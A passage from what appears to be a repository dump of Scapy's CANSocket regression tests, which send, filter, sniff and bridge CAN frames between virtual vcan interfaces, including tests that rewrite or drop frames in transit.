CANSocket(channel='vcan0')\nsock1 = CANSocket(channel='vcan1')\n\nbridgeStarted = threading.Event()\n\ndef bridge():\n    global bridgeStarted\n    bSock0 = CANSocket(channel=\"vcan0\")\n    bSock1 = CANSocket(channel='vcan1')\n    def pnr(pkt):\n        return pkt\n    bridgeStarted.set()\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False, count=10)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=5)\n\nsock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x30, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.1, count=4, verbose=False)\npacketsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=6)\n\nassert len(packetsVCan0) == 4\nassert len(packetsVCan1) == 6\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=5)\nassert not threadBridge.is_alive()\n\n=bridge and sniff setup vcan1 package change\n\n\nsock0 = CANSocket(channel='vcan0')\nsock1 = CANSocket(channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])\n\nbridgeStarted = threading.Event()\n\ndef bridgeWithPackageChangeVCan0ToVCan1():\n    global bridgeStarted\n    bSock0 = CANSocket(channel=\"vcan0\")\n    bSock1 = CANSocket(channel=\"vcan1\")\n    def pnr(pkt):\n        pkt.data = b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n        pkt.identifier = 0x10010000\n        return pkt\n    bridgeStarted.set()\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.2, verbose=False, count=6)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithPackageChangeVCan0ToVCan1)\nthreadBridge.start()\n\nbridgeStarted.wait(timeout=5)\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n\npacketsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=6)\nassert len(packetsVCan1) == 6\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=5)\nassert not threadBridge.is_alive()\n\n=bridge and sniff setup vcan0 package change\n\n\nsock0 = CANSocket(channel='vcan0',  can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])\nsock1 = CANSocket(channel='vcan1')\n\nbridgeStarted = threading.Event()\n\ndef bridgeWithPackageChangeVCan1ToVCan0():\n    global bridgeStarted\n    bSock0 = CANSocket(channel=\"vcan0\")\n    bSock1 = CANSocket(channel=\"vcan1\")\n    def pnr(pkt):\n        pkt.data = b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n        pkt.identifier = 0x10010000\n        return pkt\n    bridgeStarted.set()\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.2, verbose=False, count=4)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithPackageChangeVCan1ToVCan0)\nthreadBridge.start()\n\nbridgeStarted.wait(timeout=5)\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.1, verbose=False, count=4)\nassert len(packetsVCan0) == 4\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=5)\n\n=bridge and sniff setup vcan0 and vcan1 package change in both directions\n\n\nsock0 = CANSocket(channel='vcan0',  can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])\nsock1 = CANSocket(channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}])\n\nbridgeStarted = threading.Event()\n\ndef bridgeWithPackageChangeBothDirections():\n    global bridgeStarted\n    bSock0 = CANSocket(channel=\"vcan0\")\n    bSock1 = CANSocket(channel=\"vcan1\")\n    def pnr(pkt):\n        pkt.data = b'\\x08\\x07\\x06\\x05\\x04\\x03\\x02\\x01'\n        pkt.identifier = 0x10010000\n        return pkt\n    bridgeStarted.set()\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False, count=10)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithPackageChangeBothDirections)\nthreadBridge.start()\n\nbridgeStarted.wait(timeout=5)\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.1, verbose=False, count=4)\npacketsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=6)\nassert len(packetsVCan0) == 4\nassert len(packetsVCan1) == 6\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=5)\n\n=bridge and sniff setup vcan0 package remove\n\n\nsock0 = CANSocket(channel='vcan0')\nsock1 = CANSocket(channel='vcan1')\n\nbridgeStarted = threading.Event()\n\ndef bridgeWithRemovePackageFromVCan0ToVCan1():\n    global bridgeStarted\n    bSock0 = CANSocket(channel=\"vcan0\")\n    bSock1 = CANSocket(channel=\"vcan1\")\n    def pnr(pkt):\n        if(pkt.identifier == 0x10020000):\n            pkt = None\n        else:\n            pkt = pkt\n        return pkt\n    bridgeStarted.set()\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.2, verbose=False, count=6)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan0ToVCan1)\nthreadBridge.start()\nbridgeStarted.wait(timeout=5)\n\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n\npacketsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=5)\nassert len(packetsVCan1) == 5\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=5)\n\n=bridge and sniff setup vcan1 package remove\n\n\nsock0 = CANSocket(channel='vcan0')\nsock1 = CANSocket(channel='vcan1')\n\nbridgeStarted = threading.Event()\n\ndef bridgeWithRemovePackageFromVCan1ToVCan0():\n    global bridgeStarted\n    bSock0 = CANSocket(channel=\"vcan0\")\n    bSock1 = CANSocket(channel=\"vcan1\")\n    def pnr(pkt):\n        if(pkt.identifier == 0x10050000):\n            pkt = None\n        else:\n            pkt = pkt\n        return pkt\n    bridgeStarted.set()\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.2, verbose=False, count=4)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan1ToVCan0)\nthreadBridge.start()\nbridgeStarted.wait(timeout=5)\n\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.1, verbose=False, count=3)\nassert len(packetsVCan0) == 3\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=5)\n\n=bridge and sniff setup vcan0 and vcan1 package remove both directions\n\n\nsock0 = CANSocket(channel=\"vcan0\")\nsock1 = CANSocket(channel=\"vcan1\")\n\nbridgeStarted = threading.Event()\n\ndef bridgeWithRemovePackageInBothDirections():\n    global bridgeStarted\n    bSock0 = CANSocket(channel=\"vcan0\")\n    bSock1 = CANSocket(channel=\"vcan1\")\n    def pnrA(pkt):\n        if(pkt.identifier == 0x10020000):\n            pkt = None\n        else:\n            pkt = pkt\n        return pkt\n    def pnrB(pkt):\n        if (pkt.identifier == 0x10050000):\n            pkt = None\n        else:\n            pkt = pkt\n        return pkt\n    bridgeStarted.set()\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnrA, xfrm21=pnrB, timeout=0.2, verbose=False, count=10)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridgeWithRemovePackageInBothDirections)\nthreadBridge.start()\nbridgeStarted.wait(timeout=5)\n\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.1, verbose=False, count=3)\npacketsVCan1 = sock1.sniff(timeout=0.1, verbose=False, count=5)\n\nassert len(packetsVCan0) == 3\nassert len(packetsVCan1) == 5\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=5)\n\n= Delete vcan interfaces\n\nif 0 != call([\"sudo\", \"ip\", \"link\", \"delete\", \"vcan0\"]):\n        raise Exception(\"vcan0 could not be deleted\")\n\nif 0 != call([\"sudo\", \"ip\", \"link\", \"delete\", \"vcan1\"]):\n        raise Exception(\"vcan1 could not be deleted\")\n"
  },
  {
    "path": "test/contrib/cansocket_python_can.uts",
    "content": "% Regression tests for the CANSocket\n~ vcan_socket linux needs_root not_pypy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ Configuration of CAN virtual sockets\n\n= Load module\n~ conf\n \nconf.contribs['CAN'] = {'swap-bytes': False, 'remove-padding': True}\nload_layer(\"can\", globals_dict=globals())\nconf.contribs['CANSocket'] = {'use-python-can': True}\nfrom scapy.contrib.cansocket_python_can import *\n\n= Setup string for vcan\n~ conf command\nbashCommand = \"/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'\"\n\n= Load os\n~ conf command\n\nimport os\nimport threading\nfrom subprocess import call\n\n= Setup vcan0\n~ conf command\n\n0 == os.system(bashCommand)\n\n= Define common used functions\n\nsend_done = threading.Event()\n\ndef sender(sock, msg):\n    if not hasattr(msg, \"__iter__\"):\n        msg = [msg]\n    for m in msg:\n        sock.send(m)\n    send_done.set()\n\n+ Basic Packet Tests()\n= CAN Packet init\n\ncanframe = CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\nbytes(canframe) == b'\\x00\\x00\\x07\\xff\\x08\\x00\\x00\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'\n\n+ Basic Socket Tests()\n= CAN Socket Init\n\nsock1 = CANSocket(bustype='socketcan', channel='vcan0')\nsock1.close()\ndel sock1\nsock1 = None\n\n= CAN Socket send recv small packet\n\nsock1 = CANSocket(bustype='socketcan', channel='vcan0')\nsock2 = CANSocket(bustype='socketcan', channel='vcan0')\n\nsock2.send(CAN(identifier=0x7ff,length=1,data=b'\\x01'))\nrx = sock1.recv()\nsock1.close()\nsock2.close()\n\nassert rx == CAN(identifier=0x7ff,length=1,data=b'\\x01')\n\n= CAN Socket send recv small packet test with\n\nwith CANSocket(bustype='socketcan', channel='vcan0') as sock1, \\\n    CANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    sock2.send(CAN(identifier=0x7ff,length=1,data=b'\\x01'))\n    rx = sock1.recv()\n\nassert rx == CAN(identifier=0x7ff,length=1,data=b'\\x01')\n\n\n= CAN Socket send recv ISOTP_Packet\n\nfrom scapy.contrib.isotp import ISOTPHeader, ISOTP_FF\n\nwith CANSocket(bustype='socketcan', channel='vcan0') as sock1, \\\n    CANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    sock2.send(ISOTPHeader(identifier=0x7ff)/ISOTP_FF(message_size=100, data=b'abcdef'))\n    rx = sock1.recv()\n    assert rx == CAN(identifier=0x7ff,length=8,data=b'\\x10\\x64abcdef')\n\n\n= CAN Socket basecls test\n\nwith CANSocket(bustype='socketcan', channel='vcan0') as sock1, \\\n    CANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    sock1.basecls = Raw\n    sock2.send(CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n    rx = sock1.recv()\n    assert rx == Raw(bytes(CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')))\n\n= CAN Socket send recv\n\nwith CANSocket(bustype='socketcan', channel='vcan0') as sock1, \\\n    CANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    sock2.send(CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n    sock1.basecls = CAN\n    rx = sock1.recv()\n    assert rx == CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n\n= CAN Socket send recv swapped\n\nconf.contribs['CAN']['swap-bytes'] = True\n\nwith CANSocket(bustype='socketcan', channel='vcan0') as sock1, \\\n    CANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    sock2.send(CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n    sock1.basecls = CAN\n    rx = sock1.recv()\n    assert rx == CAN(identifier=0x7ff,length=8,data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')\n\nconf.contribs['CAN']['swap-bytes'] = False\n\n= sniff with filtermask 0x7ff\n\nmsgs = [CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x100, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')]\n\nwith CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \\\n        CANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    for m in msgs:\n        sock2.send(m)\n    packets = sock1.sniff(timeout=0.1, count=3)\n    assert len(packets) == 3\n\n\n= sniff with filtermask 0x700\n\nmsgs = [CAN(identifier=0x212, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x2ff, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x1ff, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x2aa, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')]\n\nwith CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x700}]) as sock1, \\\n        CANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    for m in msgs:\n        sock2.send(m)\n    packets = sock1.sniff(timeout=0.1, count=4)\n    assert len(packets) == 4\n\n= sniff with filtermask 0x0ff\n\nmsgs = [CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x301, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x1ff, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x700, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x100, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')]\n\nwith CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0xff}]) as sock1, \\\n        CANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    for m in msgs:\n        sock2.send(m)\n    packets = sock1.sniff(timeout=0.1, count=4)\n    assert len(packets) == 4\n\n= sniff with multiple filters\n\nmsgs = [CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x400, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x500, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x600, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x700, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x7ff, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')]\n\nwith CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) as sock1, \\\n        CANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    for m in msgs:\n        sock2.send(m)\n    packets = sock1.sniff(timeout=0.1, count=4)\n    assert len(packets) == 4\n\n= sniff with filtermask 0x7ff\n\nmsgs = [CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x300, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x100, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(identifier=0x200, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')]\n\n\nwith CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \\\n        CANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    for m in msgs:\n        sock2.send(m)\n    packets = sock1.sniff(timeout=0.1, count=4)\n    assert len(packets) == 4\n\n= sniff with filtermask 0x1FFFFFFF\n\nmsgs = [CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'),\n    CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08')]\n\nwith CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x10000000, 'can_mask': 0x1fffffff}]) as sock1, \\\n        CANSocket(bustype='socketcan', channel='vcan0') as sock2:\n    for m in msgs:\n        sock2.send(m)\n    packets = sock1.sniff(timeout=0.1, count=2)\n    assert len(packets) == 2\n\n\n+ bridge and sniff tests\n= bridge and sniff setup vcan1 package forwarding\n\nbashCommand = \"/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'\"\nassert 0 == os.system(bashCommand)\n\nsock0 = CANSocket(bustype='socketcan', channel='vcan0')\nsock1 = CANSocket(bustype='socketcan', channel='vcan1')\n\nbridgeStarted = threading.Event()\ndef bridge():\n    global bridgeStarted\n    bSock0 = CANSocket(\n        bustype='socketcan', channel='vcan0',\n                                bitrate=250000)\n    bSock1 = CANSocket(\n        bustype='socketcan', channel='vcan1',\n                                bitrate=250000)\n    def pnr(pkt):\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=6)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=1)\n\nsock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\nsock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08'))\n\npacketsVCan1 = sock1.sniff(timeout=0.5, count=6)\nassert len(packetsVCan1) == 6\n\nsock1.close()\nsock0.close()\n\nthreadBridge.join(timeout=3)\nassert not threadBridge.is_alive()\n\n= bridge and sniff setup vcan0 package forwarding\n\nsock0 = CANSocket(bustype='socketcan', channel='vcan0')\nsock1 = CANSocket(bustype='socketcan', channel='vcan1')\n\nbridgeStarted = threading.Event()\ndef bridge():\n    global bridgeStarted\n    bSock0 = CANSocket(bustype='socketcan', channel='vcan0')\n    bSock1 = CANSocket(bustype='socketcan', channel='vcan1')\n    def pnr(pkt):\n        return pkt\n    bSock0.timeout = 0.01\n    bSock1.timeout = 0.01\n    bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set, count=4)\n    bSock0.close()\n    bSock1.close()\n\nthreadBridge = threading.Thread(target=bridge)\nthreadBridge.start()\nbridgeStarted.wait(timeout=1)\n\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\nsock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\\x01\\x02\\x03\\x04\\x05\\x04\\x05\\x06'))\n\npacketsVCan0 = sock0.sniff(timeout=0.5, count=4)\nassert len(packetsVCan0) == 4\n\nsock0.close()\nsock1.close()\n\nthreadBridge.join(timeout=3)\nassert not threadBridge.is_alive()\n\n=bridge and sniff setup vcan0 vcan1 package forwarding both directions\n\nsock0 = CANSocket(bustype='socketcan', channel='vcan0')\nsock1 = CANSocket(bustype='socketcan', channel='vcan1')\n\nbridgeStarted = threading.Event()\ndef bridge():\n    global bridgeStarted\n    bSock0 = CANSocket(bustype='socketcan', channel='vcan0')\n    bSock1 = CANSocket(bustype='socketcan', 